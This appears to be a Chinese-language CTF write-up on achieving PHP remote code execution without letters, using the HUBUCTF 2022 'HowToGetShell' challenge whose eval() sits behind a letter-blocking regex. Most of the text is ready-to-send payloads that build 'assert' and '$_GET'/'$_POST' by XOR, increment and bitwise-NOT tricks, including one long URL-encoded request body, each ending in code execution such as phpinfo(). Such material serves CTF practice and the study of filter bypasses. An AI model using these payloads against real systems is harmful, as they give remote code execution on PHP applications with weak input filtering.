无字母rce

异或^

异或的规则是将两个数拿来异或的话，相同的话就为0，不相同就为1

在php中两个字符相异或之后还是字符，所以我们可以选择两个不是字母的字符进行异或从而得到我们需要的

使用 [HUBUCTF 2022 新生赛]HowToGetShell 举例

首先查看源码

<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
    die("invalid input!");
}
eval($mess);

发现不允许字母出现，然后有还要rce 我们就可以尝试使用异或

使用以下的脚本

a:'%40'^'%21' ;s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
G:'%3C'^'%7B';E:'%3E'^'%7B';T:'%0B'^'%5F';
//拼接起来
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');  // $_=assert
$_1='_'.('%3C'^'%7B').('%3E'^'%7B').('%0B'^'%5F');//$_1=_GET
$_2=$$_1; #$_2=$_GET
$_($_2[6]);  //assert($_GET[6])

mess=$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$_1='_'.('%3C'^'%7B').('%3E'^'%7B').('%0B'^'%5F');$_2=$$_1; $_($_2[6]); 

?6=phpinfo();

自增++

直接放payload

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

mess=%24%5f%3d%5b%5d%3b%24%5f%3d%40%22%24%5f%22%3b%24%5f%3d%24%5f%5b%27%21%27%3d%3d%27%40%27%5d%3b%24%5f%5f%5f%3d%24%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%5f%5f%3d%27%5f%27%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%5f%3d%24%5f%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%2b%2b%3b%24%5f%5f%5f%5f%2e%3d%24%5f%5f%3b%24%5f%3d%24%24%5f%5f%5f%5f%3b%24%5f%5f%5f%28%24%5f%5b%5f%5d%29%3b&_=phpinfo();

取反

构造

$_=~(%9E%8C%8C%9A%8D%8B);   #相当于$_=assert
$_1=~(%A0%B8%BA%AB);        #$_1=_GET
$_2=$$_1;
$_($_2[6]);
//排成一排
$_=~(%9E%8C%8C%9A%8D%8B);$_1=~(%A0%B8%BA%AB);$_2=$$_1;$_($_2[6]);